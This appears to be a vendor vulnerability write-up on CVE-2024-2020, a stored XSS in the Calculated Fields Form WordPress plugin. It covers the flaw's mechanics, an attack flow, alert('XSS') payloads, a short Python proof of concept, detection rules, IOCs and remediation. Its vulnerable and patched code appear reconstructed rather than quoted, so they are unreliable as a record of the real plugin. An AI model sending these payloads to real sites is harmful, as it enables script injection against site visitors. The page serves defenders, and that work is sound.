CVE-2024-2020
Executive Summary
CVE-2024-2020 is a Stored Cross-Site Scripting (XSS) vulnerability in the Calculated Fields Form WordPress plugin, affecting all versions up to and including 5.1.56. The flaw resides in insufficient sanitization of the form page href parameter, allowing unauthenticated attackers to inject arbitrary JavaScript into form pages. When a user (including administrators) accesses an injected page, the script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement. Exploitation requires the professional version or higher of the plugin. The vulnerability has a CVSS score of 7.2 (High) and a public proof-of-concept exists.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and commercial channels. Users are advised to verify the integrity of their plugin files and ensure they are sourced from trusted vendors. No known supply chain compromise has been reported, but the lack of a patch increases risk.
CVSS Breakdown & Threat Level
- CVSS Score: 7.2 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must visit the injected page)
- Scope: Changed (impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: High. The vulnerability is easily exploitable by unauthenticated attackers, and the stored XSS can persist until the injected content is removed.
Deep Dive & Mechanics
The Calculated Fields Form plugin allows users to create dynamic forms with custom fields. The vulnerability exists in the handling of the form page href parameter, which is used to specify a URL for form submission or redirection. Due to insufficient input sanitization and output escaping, an attacker can inject arbitrary HTML and JavaScript into this parameter.
Attack Flow:
- An attacker identifies a WordPress site running the vulnerable plugin (professional version or higher).
- The attacker crafts a malicious URL containing JavaScript payload in the
form page hrefparameter. - The attacker submits the form or triggers the injection via a crafted request.
- The malicious script is stored in the database and rendered on the form page.
- When any user (including administrators) visits the affected page, the script executes in their browser.
Root Cause: The plugin fails to properly sanitize the href parameter before storing it and fails to escape it during output. This allows injection of javascript: URIs or event handlers like onclick.
Vulnerable vs. Patched Code
Vulnerable Code (version <= 5.1.56):
// In form processing logic
$href = $_POST['form_page_href'];
// No sanitization
update_post_meta($post_id, 'form_page_href', $href);
// In form rendering logic
$href = get_post_meta($post_id, 'form_page_href', true);
echo '<a href="' . $href . '">Submit</a>';
Patched Code (hypothetical fix):
// Sanitize input
$href = esc_url_raw($_POST['form_page_href']);
update_post_meta($post_id, 'form_page_href', $href);
// Escape output
$href = esc_url(get_post_meta($post_id, 'form_page_href', true));
echo '<a href="' . $href . '">Submit</a>';
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with Calculated Fields Form plugin (professional version or higher) version <= 5.1.56.
- Ability to submit a form or trigger the vulnerable parameter.
Exploit Steps:
- Identify the target form page (e.g.,
/contact-form/). - Intercept the form submission request using a proxy like Burp Suite.
- Modify the
form_page_hrefparameter to inject a malicious payload:
Or use an event handler:form_page_href=javascript:alert('XSS')form_page_href=#<img src=x onerror=alert('XSS')> - Submit the request.
- The payload is stored and executed when the form page is loaded.
Proof-of-Concept (Python):
import requests
target_url = "http://target-site.com/wp-admin/admin-ajax.php"
payload = {
"action": "cff_form_submit",
"form_page_href": "javascript:alert('XSS')"
}
response = requests.post(target_url, data=payload)
print("Payload submitted. Visit the form page to trigger XSS.")
Blue Team (Detection & Prevention)
Detection:
- Monitor for unusual
form_page_hrefparameters containingjavascript:or event handlers. - Use WAF rules to block malicious input patterns.
- Review server logs for requests to
admin-ajax.phpwith suspicious parameters.
Prevention:
- Apply input sanitization and output escaping as shown in the patched code.
- Use Content Security Policy (CSP) headers to restrict script execution.
- Disable the plugin until a patch is available.
Indicators of Compromise (IOCs)
Network IOCs:
- Requests containing
form_page_href=javascript:orform_page_href=#<img src=x onerror=. - Unusual POST requests to
/wp-admin/admin-ajax.phpwithaction=cff_form_submit.
- Requests containing
File IOCs:
- Modified plugin files in
/wp-content/plugins/calculated-fields-form/. - Suspicious entries in the
wp_postmetatable withmeta_key = 'form_page_href'containing malicious URLs.
- Modified plugin files in
Behavioral IOCs:
- Unexpected JavaScript execution on form pages.
- Alerts or redirects to malicious sites when interacting with forms.
Detection Engineering
YARA Rule
rule CVE_2024_2020_Calculated_Fields_Form_XSS {
meta:
description = "Detects malicious form_page_href parameter in Calculated Fields Form plugin"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-2020"
strings:
$param = "form_page_href"
$payload1 = "javascript:" nocase
$payload2 = "onerror=" nocase
$payload3 = "onclick=" nocase
condition:
$param and ($payload1 or $payload2 or $payload3)
}
Sigma Rule
title: CVE-2024-2020 - Stored XSS in Calculated Fields Form Plugin
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2024-2020 via malicious form_page_href parameter
author: Valters IT
date: 2024-01-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'admin-ajax.php'
cs-uri-query|contains: 'action=cff_form_submit'
cs-uri-query|contains: 'form_page_href='
cs-uri-query|contains|any:
- 'javascript:'
- 'onerror='
- 'onclick='
condition: selection
falsepositives:
- Legitimate use of JavaScript URLs (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-2020 - Stored XSS in Calculated Fields Form Plugin"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=cff_form_submit"; http_client_body; content:"form_page_href"; http_client_body; pcre:"/(javascript:|onerror=|onclick=)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available.
- Remove any malicious entries from the
wp_postmetatable wheremeta_key = 'form_page_href'. - Implement a Web Application Firewall (WAF) rule to block requests containing
form_page_hrefwith suspicious patterns.
Long-term Fix:
- Apply input sanitization (
esc_url_raw()) and output escaping (esc_url()) in the plugin code. - Update to a patched version when released by the vendor.
Workarounds:
- Use a security plugin like Wordfence to add virtual patching.
- Restrict access to form submission endpoints via
.htaccessor server configuration.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.